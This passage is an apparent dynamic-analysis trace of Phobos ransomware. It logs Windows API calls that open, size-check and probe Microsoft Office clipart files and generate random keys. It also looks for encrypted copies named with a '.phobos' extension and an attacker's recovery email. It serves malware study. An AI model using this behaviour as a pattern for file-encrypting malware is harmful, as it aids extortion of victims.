Office\\root\\CLIPART\\PUB60COR\\PE03470_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe03470_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.471] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0153.471] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE03731_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe03731_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0153.472] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=2556) returned 1 [0153.472] CloseHandle (hObject=0x574) returned 1 [0153.472] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE03731_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe03731_.wmf")) returned 0x220 [0153.472] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE03731_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe03731_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.474] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE03731_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe03731_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.475] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0153.475] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE05665_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe05665_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0153.479] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=14328) returned 1 [0153.479] CloseHandle (hObject=0x574) returned 1 [0153.479] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE05665_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe05665_.wmf")) returned 0x220 [0153.479] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE05665_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe05665_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.479] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE05665_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe05665_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.479] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0153.480] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE05869_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe05869_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0153.484] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=1544) returned 1 [0153.484] CloseHandle (hObject=0x564) returned 1 [0153.484] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE05869_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe05869_.wmf")) returned 0x220 [0153.484] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE05869_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe05869_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.484] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE05869_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe05869_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.485] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0153.485] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE05870_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe05870_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0153.485] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=1588) returned 1 [0153.485] CloseHandle (hObject=0x564) returned 1 [0153.486] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE05870_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe05870_.wmf")) returned 0x220 [0153.486] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE05870_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe05870_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.486] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE05870_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe05870_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.486] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0153.486] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE05930_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe05930_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0153.487] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=32718) returned 1 [0153.487] CloseHandle (hObject=0x564) returned 1 [0153.487] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE05930_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe05930_.wmf")) returned 0x220 [0153.487] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE05930_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe05930_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.487] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE05930_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe05930_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.487] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0153.487] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE06049_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe06049_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0153.490] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=4636) returned 1 [0153.490] CloseHandle (hObject=0x564) returned 1 [0153.490] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE06049_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe06049_.wmf")) returned 0x220 [0153.490] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE06049_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe06049_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.490] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE06049_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe06049_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.490] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0153.490] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE06450_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe06450_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0153.491] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=16456) returned 1 [0153.491] CloseHandle (hObject=0x564) returned 1 [0153.491] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE06450_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe06450_.wmf")) returned 0x220 [0153.491] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE06450_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe06450_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.491] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE06450_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe06450_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.491] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0153.491] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH00601G.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph00601g.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0153.492] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=1577) returned 1 [0153.492] CloseHandle (hObject=0x564) returned 1 [0153.492] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH00601G.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph00601g.gif")) returned 0x220 [0153.492] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH00601G.GIF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph00601g.gif.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.492] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH00601G.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph00601g.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.492] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0153.492] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH00780U.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph00780u.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0153.493] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=34344) returned 1 [0153.493] CloseHandle (hObject=0x564) returned 1 [0153.493] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH00780U.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph00780u.bmp")) returned 0x220 [0153.493] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH00780U.BMP.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph00780u.bmp.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.493] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH00780U.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph00780u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.493] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0153.493] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01035U.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph01035u.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0153.592] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=32400) returned 1 [0153.593] CloseHandle (hObject=0x564) returned 1 [0153.593] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01035U.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph01035u.bmp")) returned 0x220 [0153.593] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01035U.BMP.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph01035u.bmp.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.593] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01035U.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph01035u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.593] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0153.593] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02208U.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02208u.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0153.594] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=31968) returned 1 [0153.594] CloseHandle (hObject=0x564) returned 1 [0153.594] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02208U.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02208u.bmp")) returned 0x220 [0153.594] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02208U.BMP.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02208u.bmp.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.594] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02208U.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02208u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.595] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0153.595] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02223U.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02223u.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0153.595] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=32184) returned 1 [0153.595] CloseHandle (hObject=0x564) returned 1 [0153.596] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02223U.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02223u.bmp")) returned 0x220 [0153.596] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02223U.BMP.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02223u.bmp.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.596] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02223U.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02223u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.596] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0153.596] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02291U.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02291u.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0153.597] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=32184) returned 1 [0153.597] CloseHandle (hObject=0x564) returned 1 [0153.598] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02291U.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02291u.bmp")) returned 0x220 [0153.598] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02291U.BMP.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02291u.bmp.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.598] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02291U.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02291u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.598] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0153.598] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02398U.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02398u.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0153.599] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=31968) returned 1 [0153.599] CloseHandle (hObject=0x564) returned 1 [0153.599] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02398U.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02398u.bmp")) returned 0x220 [0153.599] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02398U.BMP.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02398u.bmp.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.599] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02398U.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02398u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.599] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0153.599] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02412K.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02412k.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0153.600] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=3541) returned 1 [0153.600] CloseHandle (hObject=0x564) returned 1 [0153.600] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02412K.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02412k.jpg")) returned 0x220 [0153.600] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02412K.JPG.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02412k.jpg.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.600] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02412K.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02412k.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.600] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0153.600] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02417U.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02417u.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0153.608] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=31968) returned 1 [0153.608] CloseHandle (hObject=0x564) returned 1 [0153.608] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02417U.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02417u.bmp")) returned 0x220 [0153.609] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02417U.BMP.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02417u.bmp.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.609] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02417U.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02417u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.609] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0153.609] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02466U.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02466u.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, 